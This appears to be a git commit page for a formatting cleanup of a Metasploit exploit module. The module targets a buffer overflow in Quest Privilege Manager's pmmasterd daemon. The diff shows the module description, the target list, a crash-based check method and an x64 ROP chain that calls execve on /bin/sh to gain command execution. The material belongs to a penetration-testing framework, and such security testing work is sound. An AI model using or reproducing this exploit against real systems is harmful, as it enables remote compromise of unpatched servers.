msftidy clean up

bug/bundler_fix
m0t 2017-04-12 16:25:21 +01:00
parent 374d7809b5
commit 5e42dde6b6
1 changed files with 6 additions and 6 deletions

View File

@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote
This modules exploits a buffer overflow in the Quest Privilege Manager,
a software used to integrate Active Directory with Linux and Unix systems.
The vulnerability exists in the pmmasterd daemon, and can only triggered when
the host has been configured as a policy server ( Privilege Manager for Unix
the host has been configured as a policy server ( Privilege Manager for Unix
or Quest Sudo Plugin). A buffer overflow condition exists when handling
requests of type ACT_ALERT_EVENT, where the size of a memcpy can be
controlled by the attacker. This module only works against version < 6.0.0-27.
@ -43,7 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
'Targets' =>
[
['Quest Privilege Manager pmmasterd 6.0.0-27 x64',
{
@ -67,12 +67,12 @@ class MetasploitModule < Msf::Exploit::Remote
register_options( [ Opt::CPORT(rand(1024))], self.class )
end
#definitely not stealthy! sends a crashing request, if the socket dies, or the output is partial it assumes the target has crashed. Although the daemon spawns a new process for each connection, the segfault will appear on syslog
#definitely not stealthy! sends a crashing request, if the socket dies, or the output is partial it assumes the target has crashed. Although the daemon spawns a new process for each connection, the segfault will appear on syslog
def check
unless self.respond_to?(target[:check], true)
fail_with(Failure::NoTarget, "Invalid target specified")
end
return self.send(target[:check])
end
@ -149,10 +149,10 @@ class MetasploitModule < Msf::Exploit::Remote
0x4FA215, # /bin/sh
0x40a99e, # pop rsi ; ret
0, # argv @rsi
0x40c1a0, # pop rax, ret
0x40c1a0, # pop rax, ret
0, # envp @rax
0x48c751, # mov rdx, rax ; pop rbx ; mov rax, rdx ; ret
0xcacc013, # padd
0xcacc013, # padding
0x408a98, # execve,
0
].pack("Q*")